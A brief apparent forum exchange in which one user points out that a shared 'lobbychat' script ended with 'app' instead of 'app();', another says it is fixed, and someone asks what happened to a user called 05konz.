can u fix lobbychat? at the end you only copied app instead of app();
can u fix lobbychat? at the end you only copied app instead of app();
Oh sorry
It’s fixed now
05konz wouldn't add it, here it is again:
also what happened to 05konz?